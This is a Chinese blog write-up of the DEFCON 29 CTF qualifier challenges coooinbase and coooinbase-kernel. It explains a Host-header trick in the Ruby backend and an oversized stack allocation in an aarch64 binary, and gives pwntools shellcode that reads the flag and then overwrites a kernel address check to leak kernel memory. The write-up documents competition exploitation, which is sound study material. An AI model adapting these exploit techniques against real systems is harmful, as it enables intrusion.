Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

DEFCON 29 CTF Qualifier coooinbase and coooinbase-kernel Write-up

2021-05-03 Updated on 2026-02-11 Writeup

Table of Contents

  1. coooinbase
  • coooinbase-kernel
  • DEFCON 29 CTF Qualifier: coooinbase && coooinbase-kernel Write-up

    coooinbase

    题目描述:

    a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567 - this time attack the kernel!

    图:1 题目服务首页

    从题目的首页的 custom hardware 处可以下到题目的固件包。

    image-20210504004611006

    图: 2 下载题目固件

    可以看到固件包里包以下文件:

    1
    2
    3
    4
    5
    6
    7
    ➜  coooinbase tar -xvzf src
    x dist/
    x dist/x.rb
    x dist/coooinbase.bin
    x dist/rootfs.img
    x dist/x.sh
    x dist/x.html

    其中 x.rb 是 web 的后端服务,我们需要关注的代码逻辑如图:

    image-20210504004932474

    图3: x.rb 代码

    阅读代码,我们可以知道一下几点:

    1. 当我们访问 /buy api 的时候, 代码会请求 HTTP_POST 地址处的的 /gen-bson api, 当获取到 /gen-bson api 返回的数据后,会将数据写入 pwn 文件中,然后以重定向的形式喂入 ./x.sh 文件
    2. /gen-bson 这个 api 会调用 valid_credit_card 和 valid_association 函数分别校验填入的 cardnumber 的合法性。 但是值得注意的是,这两个函数均会调用 to_s.gusb(/\D/, '') 将传入的 number 变量中的非数字给去掉,但是在 44 -处的 number 却是仍然带有字符串的,因此此处我们可以传入其他非数字的值 (6011000000000004 这个cardnmumber 可以过校验)
    3. gen-bson 在45-46 行处会将参数转成 bson 格式,且 base64 编码, 然后返回

    (注: 此处还有有个点,我在一开始的时候没注意到,暂且不提)

    x.sh 的代码内容如下:

    1
    timeout 1 qemu-system-aarch64 -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly

    用 qemu 跑起一个服务, 内核为: coooinbase.bin 以及有对应的 rootfs.img , 通过以下命令可以将文件系统 mount 出来

    1
    2
    3
    4
    modprobe nbd max_part=8
    qemu-nbd --connect=/dev/nbd0 ./rootfs.img
    mkdir rootfs
    mount /dev/nbd0 rootfs

    可以看到 文件系统中有三个文件:

    1
    2
    ➜  rootfs ls
    bin flg run

    其中 bin 和 run , 通过逆向发现是一样的文件, flg 是flag 文件

    猜测 bin (run) 就是要 pwn 的用户态程序, 通过启动命令,我们知道架构为 aarch64, cpu 为 cortex-a57, 我们使用 IDA Pro 打开该文件, 设置如下:

    image-20210504012341867

    图4:IDA 加载

    image-20210504012534460

    图4:IDA分析截图

    然后就必然发现 IDA 什么函数都没有分析出来, 所以我们需要修正下我们的 IDB,修复出函数

    image-20210504014746398

    图5:修复后的 IDA 截图

    在 bsion_find_string 中我们发现了一处动态分配栈空间的逻辑

    image-20210504015258789

    图5:动态分配栈空间

    在地址 0xB6C 处, X1 为传入的字符串大小, 此处判断需要动态分配的栈的大小 。

    image-20210504025826791

    图5:mapping 截图

    但是这里存在一个问题, 这个没有判断传入的字符串大小是不是太大,如果太大的话, 例如我传入 0xf000 大小的字符串,那么此时将分配 0xf000 大小的栈, 即 SP = SP - 0xffff , 由于栈在程序代码段的下方,此时将导致栈会被分配到代码段上,而且由于是 qemu 启动的程序,所有的段都是可写可执行的。

    因此,这个题目的思路如下:

    构造足够长的字符串,将栈分配之后将执行的代码段位置, 写入 shellcode 然后最后执行 shellcode. 由于程序有现成 open read write 的函数, 因此 shellcode 编写方便了许多,我们只需直接 call 函数即可。

    shellcode:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

    flag_path_name = 0x715
    open_addr = 0x340
    read_addr = 0x34C
    write_addr = 0x310

    # open
    shellcode = pwnlib.shellcraft.aarch64.setregs({'x0':flag_path_name, 'x1':0, 'x12':open_addr})
    shellcode += 'BLR x12\n'

    # read

    shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0xFFFF000000088858, 'x2':0x50, 'x12':read_addr})
    shellcode += 'BLR x12\n'

    # write
    shellcode += pwnlib.shellcraft.aarch64.setregs({'x0':0x715, 'x12':write_addr})
    shellcode += 'BLR x12\n'

    print(asm(shellcode))

    但是这里会出现一个坑点:

    image-20210504030941428

    ruby to bson 的时候得是 UTF-8 的字符集,这意味这在 x.rb 代码中的(见图4) 45 是过不去的, 然后在比赛的时候一度陷入试图把我的 shellcode 的修改为全为 UTF-8 字符集的艰苦工作中。 然后 peanuts 发现, HTTP_POST 是由 HTTP header 中的 HOST字段控制的, 这以为我们不需要通过后端自身的 /gen_bson api 传入构造好的 payload , 我们只需搭建我们自己的服务, 当接收到 /gen_bson 请求后, 传回我们的 payload。

    coooinbase-kernel

    image-20210504035715437

    内核实现了几个syscall

    其中 write 限制了读取的地址的范围

    image-20210504035800048

    但是 read 中没有限制写入的地址的范围

    因此这个题的思路为:

    在已经完成的用户态任意代码执行的基础上

    1. open bin 文件,找到一个无意义的代码
    2. lseek 到该处
    3. read 该处的代码
    4. 通过 read 向内核的 write 的判断地址范围的地方写掉
    5. 调用 write 将内核地址中的 flag 打印出
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # open
    shellcode = pwnlib.shellcraft.aarch64.setregs({'x0':0x715, 'x1':0, 'x12':0x340})
    shellcode += 'BLR x12\n'

    # fseek
    shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0x510, 'x2':0, 'x12':0x364})
    shellcode += 'BLR x12\n'

    # read
    shellcode += pwnlib.shellcraft.aarch64.setregs({'x1':0xFFFF000000082A5C-4, 'x2':8, 'x12':0x34C})
    shellcode += "MOV X0, X6\n"
    shellcode += 'BLR x12\n'

    # write
    shellcode += pwnlib.shellcraft.aarch64.setregs({'x2':0x50, 'x6':0xFFFF000000088858,'x12':0x310})
    shellcode += 'MOV X0, X6\n'
    shellcode += 'BLR x12\n'
    分类: Writeup
    标签: pwn defcon
    ← Prev 2021 TCTF iOA and RV Writeup
    Next → CVE-2021-3156 sudo heap-overflow 漏洞分析

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom